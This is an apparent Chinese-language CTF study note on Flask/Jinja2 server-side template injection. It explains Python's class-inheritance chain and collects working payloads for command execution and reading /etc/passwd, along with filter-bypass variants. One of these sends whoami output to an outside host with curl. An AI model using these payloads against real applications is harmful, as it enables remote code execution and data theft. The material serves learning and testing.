0x00 前言
最近在刷攻防世界的web题,遇到了好多个ssti的题,flask,Tornado等等,但是自己也没有好好总结过,只有之前CISCN的时候做某个题的时候大概弄懂了原理,也没有总结出payload总结等等,所以经过多个题的洗礼,来进行思考总结。
0x01 原理
STTI就是服务器端模板注入(Server-Side Template Injection),与sql注入,命令注入等等原理都差不多,都是执行了外部输入的代码,即将用户输入的数据,当作代码来执行了,成为了程序中的一部分。在Flask,Django以及Tornado中,都是MVT模式的三层架构,T就是指Template(模板技术),Flask中常用的模板是jinja2, 模板中可以访问一些 Python 内置变量,jinja2中有三种语法:
控制结构 {% %}
变量取值 {{ }}
注释 {# #}
jinja2中使用{{ }}语法来表示一个变量,当利用jinja2进行渲染的时候就会执行,jinja2也支持Python中的所有数据类型,例如基本数据类型,列表,字典,对象等。
使用以下代码来进行简单测试(使用的环境是python3.7):
1 | import flask |
启动后访问 http://127.0.0.1/test/{{1+1}}可以发现页面显示了一个2,即{{1+1}}中的代码进行了执行。
这段代码是一个典型的SSTI漏洞示例,漏洞成因在于:render_template_string函数在渲染模板的时候直接把输入的字符串进行了返回渲染,我们知道Flask 中使用了Jinja2 作为模板渲染引擎,{{ }}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{ }}包裹的内容当做变量解析替换。此时{{1+1}}会被解析成2。(我想起了jsp中使用el表达式也是这种差不多的语法,是否也能进行模板注入?)
0x02 扩展深入
内建函数
当我们在启用一个python解释器的时候,没有进行任何导包/创建变量/创建函数等等操作,还是有很多函数可以使用,这些函数叫做内建函数,这些函数在python解释器启动的时候就自动加载到内存中供我们使用。
这里需要提到一个命名空间的东西,这个在其他编程语言中也有相关的东西。
名称空间
官方文档的一段话:
A namespace is a mapping from names to objects.Most namespaces are currently implemented as Python dictionaries。
命名空间(Namespace)是从名称到对象的映射,大部分的命名空间都是通过 Python 字典来实现的。命名空间提供了在项目中避免名字冲突的一种方法。各个命名空间是独立的,没有任何关系的,所以一个命名空间中不能有重名,但不同的命名空间是可以重名而没有任何影响。
一般有三种命名空间:
内置名称(built-in names), Python 语言内置的名称,比如函数名 abs、char 和异常名称 BaseException、Exception 等等。
全局名称(global names),模块中定义的名称,记录了模块的变量,包括函数、类、其它导入的模块、模块级的变量和常量。
局部名称(local names),函数中定义的名称,记录了函数的变量,包括函数的参数和局部定义的变量。(类中定义的也是)
命名空间的”顺序”
查找顺序:
比如说我们要使用一个变量 test,则 Python 的查找顺序为:
局部名称空间——>全局名称空间—–>内置名称空间
如果找不到变量 test,它将放弃查找并引发一个 NameError 异常:

加载顺序:
这个想都不用想,开始说了python解释器启动时就会加载内置函数,那么加载顺序肯定是内置命名空间最先加载,跟查找顺序恰恰相反。
局部名称空间——>全局名称空间—–>内置名称空间
我们主要关注的是内建名称空间,是名字到内建对象的映射,在python中,初始的builtins模块提供内建名称空间到内建对象的映射。
dir()函数用于查看一个对象的属性有哪些,在没有提供参数的时候,会将返回当前环境导入的所有模块进行返回,我们可以看初始模块有哪些

可以看到builtins是作为一个默认初始模块出现的,那么可以使用dir()查看builtins模块下的属性。
.png)
在这个里面我们可以看到很多熟悉的关键字,len,hash,hex,input等等,这也是解释了为什么我们不需要导入这些包就能使用这些函数,因为就是通过默认模块导入了。
当然我们也能自己手动再导入,再调用其中的方法,如:

注:python3中__builtins__是引用的builtins模块,而python2中__builtins__是引用的__builtin__,所以python2中应该是import __builtin__
类继承
说到类继承就想到了js中的原型链污染,都是一个继承链来的。
python中对一个变量可以通过一些继承的方法,找到继承链,通常要用到以下方法
__class__: 万物皆对象,而class用于返回该对象所属的类,比如某个字符串,他的对象为字符串对象,而其所属的类为
<class 'str'>__base__ :对象的一个基类,一般情况下是object,有时不是,这时需要使用下一个方法。
__base__ :以元组的形式返回一个类所直接继承的类。
__mro__ :同样可以获取对象的基类,只是这时会显示出整个继承链的关系(继承树),是一个列表,object在最底层,即在列表中的最后,通过__mro__[-1]可以获取到。
__subclasses__() :继承此对象的子类,返回一个列表。
__init__:所有自带类都包含__init__方法。
有这些类继承的方法,我们就可以从任何一个变量,回溯到基类中去,再获得到此基类所有实现的类,就可以获得到各种“危险”类,然后调用类中的危险方法进行命令执行。
魔术函数
这里介绍几个常见的函数,有助于后续的理解
__dict__:类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__ 属性中的。每个类有自己的__dict__属性,就算存在继承关系,父类的__dict__ 并不会影响子类的__dict__ 对象也有自己的__dict__ 属性
__globals__:function.__globals__该属性是函数特有的属性,用于获取function所处空间下可使用的模块、方法以及所有变量。记录当前文件全局变量的值,如果某个文件调用了os、sys等库,但我们只能访问该文件某个函数或者某个对象,那么我们就可以利用__globals__属性访问全局的变量。该属性保存的是函数全局变量的字典引用。
__getattribute__():实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行
.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
0x03 构造payload
利用上面讲到的类继承的思想,可以总结出一个利用流程:
从一个变量开始->获得对象->获得基类->获得子类->遍历子类->子类中寻找可以利用的类
或者说:
任意找一个内置类对象,通过__class__获取到它对应的类
通过__base__获取到基类
<class 'object'>通过__subclasses__()获取到基类的所有子类
在子类中寻找可以利用的类
例如:””.__class__.__base__.__subclasses__() ——python3
寻找可以利用的类
例如我们要寻找可以使用popen的类
1 |
|

然后就可以进行命令执行:
1 | "".__class__.__bases__[-1].__subclasses__()[128].__init__.__globals__['popen']('whoami').read() |
payload解析
python中万物皆对象,前面学习类继承的时候提到可以回溯到基类中,例如上面payload中,使用一个空字符串调用__class__获取到是属于字符串类,而__bases[-1]__是获取到继承链的最后一个类(即基类)<class 'object'>,__subclasses__()获取基类的所有子类,返回了一个列表,[128]取到了<class 'os._wrap_close'>这个类。我在学习这个payload的时候不懂为什么要调用__init__,自己写了一个例子就发现了问题所在。

噢原来只是找到这个函数呀,我开始以为是调用了__init__()函数,这里只是个函数指针罢了。让我们再看一下__globals__的作用:
用于获取function所处空间下可使用的模块、方法以及所有变量。
__init__是每个类都有的函数,那么通过__init__调用__globals__就得到了这个类中的各种模块,方法跟变量(字典格式),如果有popen函数的话,就可以通过__init__.__globals__[‘popen’]来获取到popen的函数指针了,接下来的就是执行命令就不再赘述了。关于__init__的理解我还写了一个小例子,如下:

可以看到通过调用__init__.__globals__获取到的模块跟通过dir()获取到的相同,包括导入的os模块也在其中。
0x04 小结
啊这里就不总结了,思路就是那样子,本文基于python3来的,2有一些区别,思路都差不多。
0x05 常见绕过方式

观察payload中出现的符号,采取对应的bypass思路(以下是python2,获取的40是file,python3中__subclasses__()没有file)。
过滤引号
request.args 是flask中的一个属性,为返回请求的参数,这里把path当作变量名,将后面的路径传值进来,进而绕过了引号的过滤
1 | {{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd |
过滤双下划线
同样利用request.args属性
1 | {{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasse |
将其中的request.args改为request.values则利用post的方式进行传参
1 | GET: |
过滤中括号
list有个__getitem__方法,还有个pop方法,都能绕过,dict有get等方法,都可以通过查看__dict__来查阅。
过滤双花括号
1 | {% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://xx.xxx.xx.xx:8080/?i=`whoami`').read()=='p' %}1{% endif %} |
过滤关键字
base64编码绕过__getattribute__使用实例访问属性时,调用该方法
例如被过滤掉__class__关键词
1 | {{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}} |
字符串拼接绕过
1 | {{[].__getattribute__('__c'+'lass__').__base__.__subclasses__()[40]("/etc/passwd").read()}} |
0x06 后记
不利用globals
1 | [].__class__.__base__.__subclasses__()[59]()._module.linecache.os.system('ls') |
timeit
1 | import timeit |
platform
1 | import platform |
from_object
太多了。。。暂时不总结了,这里主要概括为使用框架的内省对象。所有总结就到此结束了